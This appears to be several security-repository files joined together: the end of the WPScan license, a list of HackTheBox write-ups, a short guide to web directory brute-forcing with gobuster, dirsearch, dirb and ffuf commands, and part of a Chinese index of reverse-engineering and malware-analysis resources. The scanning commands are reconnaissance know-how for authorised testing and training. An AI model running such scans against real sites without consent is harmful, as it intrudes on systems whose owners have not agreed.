conflict with the commercialization clause. ### 4. Copying Copying is permitted so long as it does not conflict with the Redistribution clause. ### 5. Modification Modification is permitted so long as it does not conflict with the Redistribution clause. ### 6. Contributions Any Contributions assume the Contributor grants the WPScan Team the unlimited, non-exclusive right to reuse, modify and relicense the Contributor's content. ### 7. Support WPScan is provided under an AS-IS basis and without any support, updates or maintenance. Support, updates and maintenance may be given according to the sole discretion of the WPScan Team. ### 8. Disclaimer of Warranty WPScan is provided under this License on an “as is” basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the WPScan is free of defects, merchantable, fit for a particular purpose or non-infringing. ### 9. Limitation of Liability To the extent permitted under Law, WPScan is provided under an AS-IS basis. The WPScan Team shall never, and without any limit, be liable for any damage, cost, expense or any other payment incurred as a result of WPScan's actions, failure, bugs and/or any other interaction between WPScan and end-equipment, computers, other software or any 3rd party, end-equipment, computer or services. ### 10. Disclaimer Running WPScan against websites without prior mutual consent may be illegal in your country. The WPScan Team accept no liability and are not responsible for any misuse or damage caused by WPScan. ### 11. Trademark The "wpscan" term is a registered trademark. This License does not grant the use of the "wpscan" trademark or the use of the WPScan logo.
# HackTheBox Writeups for rooms and challenges on [HackTheBox](https://app.hackthebox.com/home), in the order of completion: 1. [Dancing - Very Easy](Dancing.md) 2. [Redeemer - Very Easy](Redeemer.md) 3. [Appointment - Very Easy](Appointment.md) 4. [Sequel - Very Easy](Sequel.md) 5. [Crocodile - Very Easy](Crocodile.md) 6. [Responder - Very Easy](Responder.md) 7. [Archetype - Very Easy](Archetype.md) 8. [Oopsie - Very Easy](Oopsie.md) 9. [Three - Very Easy](Three.md) 10. [Vaccine - Very Easy](Vaccine.md) 11. [Unified - Very Easy](Unified.md) 12. [Explosion - Very Easy](Explosion.md) 13. [Preignition - Very Easy](Preignition.md) 14. [Mongod - Very Easy](Mongod.md) 15. [Ignition - Very Easy](Ignition.md) 16. [Bike - Very Easy](Bike.md) 17. [Pennyworth - Very Easy](Pennyworth.md) 18. [Tactics - Very Easy](Tactics.md) 19. [Included - Very Easy](Included.md) 20. [Markup - Very Easy](Markup.md) 21. [Base - Very Easy](Base.md) 22. [Lame - Easy](Lame.md) 23. [Jerry - Easy](Jerry.md) 24. [Netmod - Easy](Netmon.md) 25. [Blue - Easy](Blue.md) 26. [Devel - Easy](Devel.md) 27. [Emdee five for life - Easy](EmdeeFive.md) 28. [Academy - Easy](Academy.md) 29. [Legacy - Easy](Legacy.md) 30. [Cap - Easy](Cap.md) 31. [Bashed - Easy](Bashed.md) 32. [Chatterbox - Medium](Chatterbox.md) 33. [SecNotes - Medium](SecNotes.md) 34. [Knife - Easy](Knife.md) 35. [Heist - Easy](Heist.md) 36. [Photobomb - Easy](Photobomb.md) 37. [Jeeves - Medium](Jeeves.md) 38. [Access - Easy](Access.md) 39. [Arctic - Easy](Arctic.md) 40. [Bastard - Medium](Bastard.md) 41. [Bastion - Easy](Bastion.md) 42. [Querier - Medium](Querier.md) 43. [Optimum - Easy](Optimum.md) 44. [Nibbles - Easy](Nibbles.md) 45. [OpenAdmin - Easy](OpenAdmin.md) 46. [Synced - Very Easy](Synced.md) 47. [Beep - Easy](Beep.md) 48. [Shocker - Easy](Shocker.md) 49. [Horizontall - Easy](Horizontall.md) 50. [Precious - Easy](Precious.md) 51. [Shoppy - Easy](Shoppy.md) 52. [Buff - Easy](Buff.md) 53. [Paper - Easy](Paper.md) 54. [Blocky - Easy](Blocky.md) 55. [ServMon - Easy](ServMon.md) 56. [Previse - Easy](Previse.md) 57. [Curling - Easy](Curling.md) 58. [Grandpa - Easy](Grandpa.md) 59. [Traceback - Easy](Traceback.md) 60. [Popcorn - Medium](Popcorn.md) 61. [Valentine - Easy](Valentine.md) 62. [Mirai - Easy](Mirai.md) 63. [Armageddon - Easy](Armageddon.md) 64. [Blunder - Easy](Blunder.md) 65. [Active - Easy](Active.md) 66. [Forest - Easy](Forest.md) 67. [Sauna - Easy](Sauna.md) 68. [Resolute - Medium](Resolute.md)
# HTTP/HTTPS Enumeration ## Directory Brute Force A number of tools can be used to brute force directories on a web server in order to find hidden files and folders that are not publically available. ### Gobuster Gobuster can be used to bruteforce a web server in order to discover directories and files: `gobuster dir -u http://website.com/ -w /path/DirectoryWordlist.txt -x php,config` Gobuster will iterate through the wordlist provided and also append the file extenstions `.php` and `.config` in order to discover directories and files. ### DirSearch Dirsearch has a built-in wordlist that can be used for bruteforcing directories and files. Optionally a custom wordlist can be specified using the `-w /path/wordlist.txt` option: `python3 dirsearch.py -u http://<ip address>:<port>/ -e <file extensions>` ### Dirb Dirb can also be used to brute-force directories and is built into Kali Linux by default. Dirb should be used with smaller wordlists, as large wordlists will often cause the program to hang or close. Note that any wordlists that already have `/` appended to them, would need the forward slash removing, due to dirb appending its own. Adding the `-t ` option will stop dirb automatically adding the `/`. The following command can be used to discover directories on a web server: `dirb -u http://<ip address>:<port> /path/wordlist.txt` ### FFUF Fuzz Faster U Fool (FFUF) is a tool written in GO that is also able to bruteforce files and directories. This tool requires golang, which can be installed in Kali with `apt update && apt install golang`. Once golang is installed ffuf can be installed using `go get github.com/ffuf/ffuf`. To start a simple directory brute force the following command can be used: `ffuf -w /path/to/wordlist.txt -u https://target/FUZZ` The `FUZZ` keyword tells the tool at which point you want to fuzz for files and directories. ### Common Wordlists Used A number of wordlists that are commonly used for directory/file fuzzing are available in Kali Linux: `/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt` `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` `/usr/share/wordlists/dirb/common.txt`
# 所有收集类项目: - [收集的所有开源工具](https://github.com/alphaSeclab/sec-tool-list): 超过18K, 包括Markdown和Json两种格式 - [逆向资源](https://github.com/alphaSeclab/awesome-reverse-engineering): IDA/Ghidra/x64dbg/OllDbg/WinDBG/CuckooSandbox/Radare2/BinaryNinja/DynamoRIO/IntelPin/Frida/QEMU/Android安全/iOS安全/Window安全/Linux安全/macOS安全/游戏Hacking/Bootkit/Rootkit/Angr/Shellcode/进程注入/代码注入/DLL注入/WSL/Sysmon/... - [网络相关的安全资源](https://github.com/alphaSeclab/awesome-network-stuff): 代理/GFW/反向代理/隧道/VPN/Tor/I2P,以及中间人/PortKnocking/嗅探/网络分析/网络诊断等 - [攻击性网络安全资源](https://github.com/alphaSeclab/awesome-cyber-security): 漏洞/渗透/物联网安全/数据渗透/Metasploit/BurpSuite/KaliLinux/C&C/OWASP/免杀/CobaltStrike/侦查/OSINT/社工/密码/凭证/威胁狩猎/Payload/WifiHacking/无线攻击/后渗透/提权/UAC绕过/... # ReverseEngineering - 跟逆向有关的资源收集。当前包括的工具个数4600+,并根据功能进行了粗糙的分类。部分工具添加了中文描述。当前包括文章数600左右。 - 此页只包含部分内容. [查看完整版](https://github.com/alphaSeclab/awesome-reverse-engineering/blob/master/Readme_full.md) # 说明 [EnglishVersion](https://github.com/alphaSeclab/awesome-reverse-engineering/blob/master/Readme_en.md) # 目录 - [IDA](#08e59e476824a221f6e4a69c0bba7d63) - [插件&&脚本](#f11ab1ff46aa300cc3e86528b8a98ad7) - [(97) 未分类](#c39a6d8598dde6abfeef43faf931beb5) - [结构体&&类的检测&&创建&&恢复](#fb4f0c061a72fc38656691746e7c45ce) - [(6) 未分类](#fa5ede9a4f58d4efd98585d3158be4fb) - [(8) C++类&&虚表](#4900b1626f10791748b20630af6d6123) - [(3) 收集](#a7dac37cd93b8bb42c7d6aedccb751b3) - [(9) 外观&&主题](#fabf03b862a776bbd8bcc4574943a65a) - [(4) 固件&&嵌入式设备](#a8f5db3ab4bc7bc3d6ca772b3b9b0b1e) - [签名(FLIRT等)&&比较(Diff)&&匹配](#02088f4884be6c9effb0f1e9a3795e58) - [(17) 未分类](#cf04b98ea9da0056c055e2050da980c1) - [FLIRT签名](#19360afa4287236abe47166154bc1ece) - [(3) FLIRT签名收集](#1c9d8dfef3c651480661f98418c49197) - [(2) FLIRT签名生成](#a9a63d23d32c6c789ca4d2e146c9b6d0) - [(11) Diff&&Match工具](#161e5a3437461dc8959cc923e6a18ef7) - [(7) Yara](#46c9dfc585ae59fe5e6f7ddf542fb31a) - [(6) IDB操作](#5e91b280aab7f242cbc37d64ddbff82f) - [(5) 协作逆向&&多人操作相同IDB文件](#206ca17fc949b8e0ae62731d9bb244cb) - [(9) 与调试器同步&&通信&&交互](#f7d311685152ac005cfce5753c006e4b) - [导入导出&与其他工具交互](#6fb7e41786c49cc3811305c520dfe9a1) - [(13) 未分类](#8ad723b704b044e664970b11ce103c09) - [(5) Ghidra](#c7066b0c388cd447e980bf0eb38f39ab) - [(3) BinNavi](#11139e7d6db4c1cef22718868f29fe12) - [(3) BinaryNinja](#d1ff64bee76f6749aef6100d72bfbe3a) - [(2) Radare2](#21ed198ae5a974877d7a635a4b039ae3) - [(4) Frida](#a1cf7f7f849b4ca2101bd31449c2a0fd) - [(2) IntelPin](#dd0332da5a1482df414658250e6357f8) - [针对特定分析目标](#004c199e1dbf71769fbafcd8e58d1ead) - [(26) 未分类](#5578c56ca09a5804433524047840980e) - [(2) GoLang](#1b17ac638aaa09852966306760fda46b) - [(4) Windows驱动](#4c158ccc5aee04383755851844fdd137) - [(4) PS3&&PS4](#315b1b8b41c67ae91b841fce1d4190b5) - [(33) Loader&Processor](#cb59d84840e41330a7b5e275c0b81725) - [(4) PDB](#f5e51763bb09d8fd47ee575a98bedca1) - [(2) Flash&&SWF](#7d0681efba2cf3adaba2780330cd923a) - [(4) 特定样本家族](#841d605300beba45c3be131988514a03) - [(1) CTF](#ad44205b2d943cfa2fa805b2643f4595) - [IDAPython本身](#ad68872e14f70db53e8d9519213ec039) - [(8) 未分类](#2299bc16945c25652e5ad4d48eae8eca) - [(1) cheatsheets](#c42137cf98d6042372b1fd43c3635135) - [(6) 指令参考&文档](#846eebe73bef533041d74fc711cafb43) - [辅助脚本编写](#c08ebe5b7eec9fc96f8eff36d1d5cc7d) - [(9) 未分类](#45fd7cfce682c7c25b4f3fbc4c461ba2) - [(3) Qt](#1a56a5b726aaa55ec5b7a5087d6c8968) - [(3) 控制台&&窗口界面](#1721c09501e4defed9eaa78b8d708361) - [(2) 插件模板](#227fbff77e3a13569ef7b007344d5d2e) - [(2) 其他语言](#8b19bb8cf9a5bc9e6ab045f3b4fabf6a) - [(16) 古老的](#dc35a2b02780cdaa8effcae2b6ce623e) - [调试&&动态运行&动态数据](#e3e7030efc3b4de3b5b8750b7d93e6dd) - [(10) 未分类](#2944dda5289f494e5e636089db0d6a6a) - [(10) DBI数据](#0fbd352f703b507853c610a664f024d1) - [(4) 调试数据](#b31acf6c84a9506066d497af4e702bf5) - [(14) 反编译器&&AST](#d2166f4dac4eab7fadfe0fd06467fbc9) - [(7) 反混淆](#7199e8787c0de5b428f50263f965fda7) - [效率&&导航&&快速访问&&图形&&图像&&可视化 ](#fcf75a0881617d1f684bc8b359c684d7) - [(15) 其他](#c5b120e1779b928d860ad64ff8d23264) - [(9) 显示增强](#03fac5b3abdbd56974894a261ce4e25f) - [(3) 图形&&图像](#3b1dba00630ce81cba525eea8fcdae08) - [(3) 搜索](#8f9468e9ab26128567f4be87ead108d7) - [(7) Android](#66052f824f5054aa0f70785a2389a478) - [Apple&&macOS&&iXxx&&Objective-C&&SWift&&Mach-O](#2adc0044b2703fb010b3bf73b1f1ea4a) - [(5) 未分类](#8530752bacfb388f3726555dc121cb1a) - [(3) 内核缓存](#82d0fa2d6934ce29794a651513934384) - [(3) Mach-O](#d249a8d09a3f25d75bb7ba8b32bd9ec5) - [(3) Swift](#1c698e298f6112a86c12881fbd8173c7) - [(9) ELF](#e5e403123c70ddae7bd904d3a3005dbb) - [(5) Microcode](#7a2977533ccdac70ee6e58a7853b756b) - [(6) 模拟器集成](#b38dab81610be087bd5bc7785269b8cc) - [新添加的](#c39dbae63d6a3302c4df8073b4d1cdc8) - [(4) 作为辅助&&构成其他的一环](#83de90385d03ac8ef27360bfcdc1ab48) - [漏洞](#1ded622dca60b67288a591351de16f8b) - [(7) 未分类](#385d6777d0747e79cccab0a19fa90e7e) - [(2) ROP](#cf2efa7e3edb24975b92d2e26ca825d2) - [(7) 补丁&&Patch](#7d557bc3d677d206ef6c5a35ca8b3a14) - [(3) 其他](#7dfd8abad50c14cd6bdc8d8b79b6f595) - [函数相关](#90bf5d31a3897400ac07e15545d4be02) - [(4) 未分类](#347a2158bdd92b00cd3d4ba9a0be00ae) - [(6) 重命名&&前缀&&标记](#73813456eeb8212fd45e0ea347bec349) - [(5) 导航&&查看&&查找](#e4616c414c24b58626f834e1be079ebc) - [(2) demangle](#cadae88b91a57345d266c68383eb05c5) - [(3) 污点分析&&符号执行](#34ac84853604a7741c61670f2a075d20) - [(8) 字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) - [(3) 加密解密](#06d2caabef97cf663bd29af2b1fe270c) - [文章](#18c6a45392d6b383ea24b363d2f3e76b) - [(6) 系列文章-Labeless插件介绍](#04cba8dbb72e95d9c721fe16a3b48783) - [(24) 系列文章-使用IDA从零开始学逆向](#1a2e56040cfc42c11c5b4fa86978cc19) - [系列文章-IDAPython-让你的生活更美好](#e838a1ecdcf3d068547dd0d7b5c446c6) - [(6) 原文](#7163f7c92c9443e17f3f76cc16c2d796) - [(5) 译文](#fc62c644a450f3e977af313edd5ab124) - [工具&&插件&&脚本介绍](#3d3bc775abd7f254ff9ff90d669017c9) - [(56) 未分类](#cd66794473ea90aa6241af01718c3a7d) - [(3) Loader&&Processor](#43a4761e949187bf737e378819752c3b) - [(1) 与其他工具交互](#c7483f3b20296ac68084a8c866230e15) - [(10) Tips&&Tricks](#a4bd25d3dc2f0be840e39674be67d66b) - [(125) 未分类](#4187e477ebc45d1721f045da62dbf4e8) - [(5) 翻译-TheIDAProBook](#ea11818602eb33e8b165eb18d3710965) - [(2) 翻译-ReverseEngineeringCodeWithIDAPro](#ec5f7b9ed06500c537aa25851a3f2d3a) - [(5) 系列文章-使用IDA逆向C代码](#8433dd5df40aaf302b179b1fda1d2863) - [逆向实战](#d8e48eb05d72db3ac1e050d8ebc546e1) - [(11) 未分类](#374c6336120363a5c9d9a27d7d669bf3) - [(15) 恶意代码分析](#0b3e1936ad7c4ccc10642e994c653159) - [(2) 漏洞分析&&挖掘](#03465020d4140590326ae12c9601ecfd) - [(26) 新添加的](#37634a992983db427ce41b37dd9a98c2) - [(4) IDA本身](#2120fe5420607a363ae87f5d2fed459f) - [(1) Microcode](#e9ce398c2c43170e69c95fe9ad8d22fc) - [(1) IDA对抗](#9c0ec56f402a2b9938417f6ecbaeaa72) - [Ghidra](#319821036a3319d3ade5805f384d3165) - [插件&&脚本](#fa45b20f6f043af1549b92f7c46c9719) - [(11) 新添加的](#ce70b8d45be0a3d29705763564623aca) - [特定分析目标](#69dc4207618a2977fe8cd919e7903fa5) - [(4) 未分类](#da5d2b05da13f8e65aa26d6a1c95a8d0) - [(18) Loader&&Processor](#058bb9893323f337ad1773725d61f689) - [(2) Xbox](#51a2c42c6d339be24badf52acb995455) - [与其他工具交互](#99e3b02da53f1dbe59e0e277ef894687) - [(2) Radare2](#e1cc732d1388084530b066c26e24887b) - [未分类](#5923db547e1f04f708272543021701d2) - [(5) IDA](#d832a81018c188bf585fcefa3ae23062) - [(1) DBI](#60e86981b2c98f727587e7de927e0519) - [(1) 调试器](#e81053b03a859e8ac72f7fe79e80341a) - [(1) 外观&&主题](#cccbd06c6b9b03152d07a4072152ae27) - [(4) Ghidra](#2ae406afda6602c8f02d73678b2ff040) - [脚本编写](#45910c8ea12447df9cdde2bea425f23f) - [(1) 其他](#c12ccb8e11ba94184f8f24767eb64212) - [(1) 编程语言](#b24e162720cffd2d2456488571c1a136) - [文章&&视频](#273df546f1145fbed92bb554a327b87a) - [(30) 新添加的](#ce49901b4914f3688ef54585c8f9df1a) - [(8) Ghidra漏洞](#b7fb955b670df2babc67e5942297444d) - [实战分析](#dd0d49a5e6bd34b372d9bbf4475e8024) - [(3) 漏洞分析&&挖掘](#375c75af4fa078633150415eec7c867d) - [(9) 未分类](#f0ab053d7a282ab520c3a327fc91ba2e) - [(9) 恶意代码](#4e3f53845efe99da287b2cea1bdda97c) - [其他](#92f60c044ed13b3ffde631794edd2756) - [Tips&&Tricks](#4bfa6dcf708b3f896870c9d3638c0cde) - [(5) 工具&&插件&&脚本](#0d086cf7980f65da8f7112b901fecdc1) - [新添加的1](#8962bde3fbfb1d1130879684bdf3eed0) - [x64dbg](#b1a6c053e88e86ce01bbd78c54c63a7c) - [插件&&脚本](#b4a856db286f9f29b5a32d477d6b3f3a) - [(63) 新添加的](#da5688c7823802e734c39b539aa39df7) - [(1) x64dbg](#353ea40f2346191ecb828210a685f9db) - [文章&&视频](#22894d6f2255dc43d82dd46bdbc20ba1) - [OllyDbg](#37e37e665eac00de3f55a13dcfd47320) - [插件&&脚本](#7834e399e48e6c64255a1a0fdb6b88f5) - [(13) 新添加的](#92c44f98ff5ad8f8b0f5e10367262f9b) - [文章&&视频](#8dd3e63c4e1811973288ea8f1581dfdb) - [WinDBG](#0a506e6fb2252626add375f884c9095e) - [插件&&脚本](#37eea2c2e8885eb435987ccf3f467122) - [(66) 新添加的](#2ef75ae7852daa9862b2217dca252cc3) - [(9) 文章&&视频](#6d8bac8bfb5cda00c7e3bd38d64cbce3) - [Cuckoo](#0ae4ddb81ff126789a7e08b0768bd693) - [工具](#5830a8f8fb3af1a336053d84dd7330a1) - [(40) 新添加的](#f2b5c44c2107db2cec6c60477c6aa1d0) - [(15) 文章&&视频](#ec0a441206d9a2fe1625dce0a679d466) - [Radare2](#86cb7d8f548ca76534b5828cb5b0abce) - [插件&&脚本](#0e08f9478ed8388319f267e75e2ef1eb) - [(62) 新添加的](#6922457cb0d4b6b87a34caf39aa31dfe) - [(1) Radare2](#ec3f0b5c2cf36004c4dd3d162b94b91a) - [与其他工具交互](#1a6652a1cb16324ab56589cb1333576f) - [(4) 未分类](#dfe53924d678f9225fc5ece9413b890f) - [(3) IDA](#1cfe869820ecc97204a350a3361b31a7) - [(5) GUI](#f7778a5392b90b03a3e23ef94a0cc3c6) - [(168) 文章&&视频](#95fdc7692c4eda74f7ca590bb3f12982) - [BinaryNinja](#afb7259851922935643857c543c4b0c2) - [插件&&脚本](#3034389f5aaa9d7b0be6fa7322340aab) - [(58) 新添加的](#a750ac8156aa0ff337a8639649415ef1) - [与其他工具交互](#bba1171ac550958141dfcb0027716f41) - [(2) 未分类](#c2f94ad158b96c928ee51461823aa953) - [(3) IDA](#713fb1c0075947956651cc21a833e074) - [(7) 文章&&视频](#2d24dd6f0c01a084e88580ad22ce5b3c) - [DBI](#7ab3a7005d6aa699562b3a0a0c6f2cff) - [DynamoRIO](#c8cdb0e30f24e9b7394fcd5681f2e419) - [工具](#6c4841dd91cb173093ea2c8d0b557e71) - [(7) 新添加的](#ff0abe26a37095f6575195950e0b7f94) - [(2) DynamoRIO](#3a577a5b4730a1b5b3b325269509bb0a) - [(3) 与其他工具交互](#928642a55eff34b6b52622c6862addd2) - [(16) 文章&&视频](#9479ce9f475e4b9faa4497924a2e40fc) - [IntelPin](#7b8a493ca344f41887792fcc008573e7) - [工具](#fe5a6d7f16890542c9e60857706edfde) - [(18) 新添加的](#78a2edf9aa41eb321436cb150ea70a54) - [与其他工具交互](#e6a829abd8bbc5ad2e5885396e3eec04) - [(8) 未分类](#e129288dfadc2ab0890667109f93a76d) - [文章&&视频](#226190bea6ceb98ee5e2b939a6515fac) - [Frida](#f24f1235fd45a1aa8d280eff1f03af7e) - [工具](#a5336a0f9e8e55111bda45c8d74924c1) - [(100) 新添加的](#54836a155de0c15b56f43634cd9cfecf) - [与其他工具交互](#74fa0c52c6104fd5656c93c08fd1ba86) - [(1) 未分类](#00a86c65a84e58397ee54e85ed57feaf) - [(3) IDA](#d628ec92c9eea0c4b016831e1f6852b3) - [(2) BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) - [(2) Radare2](#ac053c4da818ca587d57711d2ff66278) - [(1) Frida](#6d3c24e43835420063f9ca50ba805f15) - [(25) 文章&&视频](#a1a7e3dd7091b47384c75dba8f279caf) - [其他](#5a9974bfcf7cdf9b05fe7a7dc5272213) - [模拟器&&虚拟机](#747ddaa20f643da415284bfba9cda3a2) - [QEMU](#796b64906655228d8a1ff8c0dd390451) - [工具](#296c7f25266b25e5ee1107dd76e40dd2) - [(42) 新添加的](#82072558d99a6cf23d4014c0ae5b420a) - [文章&&视频](#5df30a166c2473fdadf5a578d1a70e32) - [其他](#a13effff89633708c814ae9410da835a) - [Android](#11a59671b467a8cdbdd4ea9d5e5d9b51) - [工具](#2110ded2aa5637fa933cc674bc33bf21) - [(182) 新添加的](#883a4e0dd67c6482d28a7a14228cd942) - [(4) HotFix](#fa49f65b8d3c71b36c6924ce51c2ca0c) - [(1) 打包](#ec395c8f974c75963d88a9829af12a90) - [(2) 收集](#767078c52aca04c452c095f49ad73956) - [(1) 各类App](#17408290519e1ca7745233afea62c43c) - [(30) Xposed](#7f353b27e45b5de6b0e6ac472b02cbf1) - [(19) 加壳&&脱壳](#50f63dce18786069de2ec637630ff167) - [(12) HOOK](#596b6cf8fd36bc4c819335f12850a915) - [(9) Emulator&&模拟器](#5afa336e229e4c38ad378644c484734a) - [(6) IDA](#0a668d220ce74e11ed2738c4e3ae3c9e) - [(11) Debug&&调试](#bb9f8e636857320abf0502c19af6c763) - [(34) Malware&&恶意代码](#f975a85510f714ec3cc2551e868e75b8) - [(5) Obfuscate&&混淆](#1d83ca6d8b02950be10ac8e4b8a2d976) - [(15) ReverseEngineering](#6d2b758b3269bac7d69a2d2c8b45194c) - [(319) 新添加的1](#63fd2c592145914e99f837cecdc5a67c) - [(2) 文章&&视频](#f0493b259e1169b5ddd269b13cfd30e6) - [Apple&&iOS&&iXxx](#069664f347ae73b1370c4f5a2ec9da9f) - [工具](#58cd9084afafd3cd293564c1d615dd7f) - [(345) 新添加的](#d0108e91e6863289f89084ff09df39d0) - [(16) XCode](#7037d96c1017978276cb920f65be2297) - [(91) 越狱](#ff19d5d94315d035bbcb3ef0c348c75b) - [(8) LLDB](#c20772abc204dfe23f3e946f8c73dfda) - [文章&&视频](#c97bbe32bbd26c72ceccb43400e15bf1) - [Windows](#2f81493de610f9b796656b269380b2de) - [工具](#b478e9a9a324c963da11437d18f04998) - [(213) 其他](#1afda3039b4ab9a3a1f60b179ccb3e76) - [(10) 事件日志&&事件追踪&&ETW](#0af4bd8ca0fd27c9381a2d1fa8b71a1f) - [(12) Sysmon](#d48f038b58dc921660be221b4e302f70) - [(18) WSL](#8ed6f25b321f7b19591ce2908b30cc88) - [(10) .NET](#d90b60dc79837e06d8ba2a7ee1f109d3) - [新添加的](#f9fad1d4d1f0e871a174f67f63f319d8) - [(5) Environment&&环境&&配置](#6d2fe834b7662ecdd48c17163f732daf) - [进程注入](#8bfd27b42bb75956984994b3419fb582) - [(1) DLL注入](#b0d50ee42d53b1f88b32988d34787137) - [代码注入](#1c6069610d73eb4246b58d78c64c9f44) - [内存模块](#7c1541a69da4c025a89b0571d8ce73d2) - [(115) Shellcode](#16001cb2fae35b722deaa3b9a8e5f4d5) - [(6) VT&&虚拟化&&Hypbervisor](#19cfd3ea4bd01d440efb9d4dd97a64d0) - [(8) 内核&&驱动](#c3cda3278305549f4c21df25cbf638a4) - [(3) 注册表](#920b69cea1fc334bbc21a957dd0d9f6f) - [(4) 系统调用](#d295182c016bd9c2d5479fe0e98a75df) - [加壳&&脱壳](#a82bb5fff6cb644fb34db2b257f2061b) - [(25) 新添加的](#ccd2a4f85dbac99ccbedc745c2768f01) - [(1) Themida](#197f3a24a98c86c065273c3121d13f3b) - [VMProtect](#d4b660c75f60ee317569b6eac48e117f) - [文章](#3939f5e83ca091402022cb58e0349ab8) - [(48) Themida](#cd60c8e438bde4b3da791eabf845f679) - [Linux](#dc664c913dc63ec6b98b47fcced4fdf0) - [(101) 工具](#89e277bca2740d737c1aeac3192f374c) - [文章](#f6d78e82c3e5f67d13d9f00c602c92f0) - [Hook](#3f1fde99538be4662dca6747a365640b) - [(252) 工具](#cfe974d48bbb90a930bf667c173616c7) - [Monitor&&监控&&Trace&&追踪](#70e64e3147675c9bcd48d4f475396e7f) - [(29) 工具](#cd76e644d8ddbd385939bb17fceab205) - [Malware&&恶意代码](#09fa851959ff48f5667a2099c861eab8) - [(574) 工具](#e781a59e4f4daab058732cf66f77bfb9) - [Game&&游戏](#28aa8187f8a1e38ca5a55aa31a5ee0c3) - [(180) 工具](#07f0c2cbf63c1d7de6f21fa43443ede3) - [其他](#d3690e0b19c784e104273fe4d64b2362) - [ 文章-新添加的](#9162e3507d24e58e9e944dd3f6066c0e) - [(284) 工具-新添加的](#1d9dec1320a5d774dc8e0e7604edfcd3) - [(3) 工具-其他](#bc2b78af683e7ba983205592de8c3a7a) - [angr](#4fe330ae3e5ce0b39735b1bfea4528af) - [(26) 工具](#1ede5ade1e55074922eb4b6386f5ca65) - [文章](#042ef9d415350eeb97ac2539c2fa530e) - [Debug&&调试](#324874bb7c3ead94eae6f1fa1af4fb68) - [(116) 工具](#d22bd989b2fdaeda14b64343b472dfb6) - [文章](#136c41f2d05739a74c6ec7d8a84df1e8) - [BAP](#9f8d3f2c9e46fbe6c25c22285c8226df) - [(26) 工具](#f10e9553770db6f98e8619dcd74166ef) - [文章](#e111826dde8fa44c575ce979fd54755d) - [BinNavi](#2683839f170250822916534f1db22eeb) - [(3) 工具](#2e4980c95871eae4ec0e76c42cc5c32f) - [文章](#ff4dc5c746cb398d41fb69a4f8dfd497) - [Decompiler&&反编译器](#0971f295b0f67dc31b7aa45caf3f588f) - [(73) 工具](#e67c18b4b682ceb6716388522f9a1417) - [文章](#a748b79105651a8fd8ae856a7dc2b1de) - [Disassemble&&反汇编](#2df6d3d07e56381e1101097d013746a0) - [(30) 工具](#59f472c7575951c57d298aef21e7d73c) - [文章](#a6eb5a22deb33fc1919eaa073aa29ab5) - [GDB](#975d9f08e2771fccc112d9670eae1ed1) - [(80) 工具](#5f4381b0a90d88dd2296c2936f7e7f70) - [文章](#37b17362d72f9c8793973bc4704893a2) - [Captcha&&验证码](#9526d018b9815156cb001ceee36f6b1d) - [(55) 工具](#1c6fda19fd076dcbda3ad733d7349e44) - [文章](#685f244ad7368e43dbde0a0966095066) - [Rootkit&&Bootkit](#5fdcfc70dd87360c2dddcae008076547) - [(148) 工具](#b8d6f237c04188a10f511cd8988de28a) - [(100) 文章](#8645e29263f0886344127d352ebd6884) - [硬件](#069468057aac03c102abdbeb7a5decf6) - [固件](#3574d46dd09566f898b407cebe9df29b) - [(44) Firmware&&固件](#649d2aece91551af8b48d29f52943804) - [(3) Intel](#fff92e7d304e2c927ef3530f4d327456) - [Crypto&&加密&&算法](#948dbc64bc0ff4a03296988574f5238c) - [(117) 工具](#a6b0a9b9184fd78c8b87ccfe48a8e544) - [TODO](#35f8efcff18d0449029e9d3157ac0899) # <a id="35f8efcff18d0449029e9d3157ac0899"></a>TODO - 对工具进行更细致的分类 - 为工具添加详细的中文描述,包括其内部实现原理和使用方式 - 添加非Github repo - 补充文章 - 修改已添加文章的描述 # <a id="08e59e476824a221f6e4a69c0bba7d63"></a>IDA *** ## <a id="f11ab1ff46aa300cc3e86528b8a98ad7"></a>插件&&脚本 - 以Github开源工具为主 ### <a id="c39dbae63d6a3302c4df8073b4d1cdc8"></a>新添加的 ### <a id="c39a6d8598dde6abfeef43faf931beb5"></a>未分类 - [**1058**星][9d] [Py] [fireeye/flare-ida](https://github.com/fireeye/flare-ida) 多工具 - [StackStrings](https://github.com/fireeye/flare-ida/blob/master/plugins/stackstrings_plugin.py) 自动恢复手动构造的字符串 - [Struct Typer](https://github.com/fireeye/flare-ida/blob/master/plugins/struct_typer_plugin.py) implements the struct typing described [here](https://www.mandiant.com/blog/applying-function-types-structure-fields-ida/) - [ApplyCalleeType](https://github.com/fireeye/flare-ida/blob/master/python/flare/apply_callee_type.py) specify or choose a function type for indirect calls as described [here](https://www.fireeye.com/blog/threat-research/2015/04/flare_ida_pro_script.html) - [argtracker](https://github.com/fireeye/flare-ida/blob/master/python/flare/argtracker.py) 识别函数使用的静态参数 - [idb2pat](https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py) FLIRT签名生成 - [objc2_analyzer](https://github.com/fireeye/flare-ida/blob/master/python/flare/objc2_analyzer.py) 在目标Mach-O可执行文件的与Objective-C运行时相关的部分中定义的选择器引用及其实现之间创建交叉引用 - [MSDN Annotations](https://github.com/fireeye/flare-ida/tree/master/python/flare/IDB_MSDN_Annotator) 从XML文件中提取MSDN信息,添加到IDB数据库中 - [ironstrings](https://github.com/fireeye/flare-ida/tree/master/python/flare/ironstrings) 使用代码模拟执行(flare-emu), 恢复构造的字符串 - [Shellcode Hashes](https://github.com/fireeye/flare-ida/tree/master/shellcode_hashes) 生成Hash数据库 - [**737**星][7m] [Py] [devttys0/ida](https://github.com/devttys0/ida) IDA插件/脚本/模块收集 - [wpsearch](https://github.com/devttys0/ida/blob/master/scripts/wpsearch.py) 查找在MIPS WPS checksum实现中常见的立即数 - [md5hash](https://github.com/devttys0/ida/tree/master/modules/md5hash) 纯Python版的MD5 hash实现(IDA的hashlib有问题) - [alleycat](https://github.com/devttys0/ida/tree/master/plugins/alleycat) 查找向指定的函数内代码块的路径、查找两个或多个函数之间的路径、生成交互式调用图、可编程 - [codatify](https://github.com/devttys0/ida/tree/master/plugins/codatify) 定义IDA自动化分析时miss的ASCII字符串、函数、代码。将data段的所有未定义字节转换为DWORD(于是IDA可识别函数和跳转表指针) - [fluorescence](https://github.com/devttys0/ida/tree/master/plugins/fluorescence) 高亮函数调用指令 - 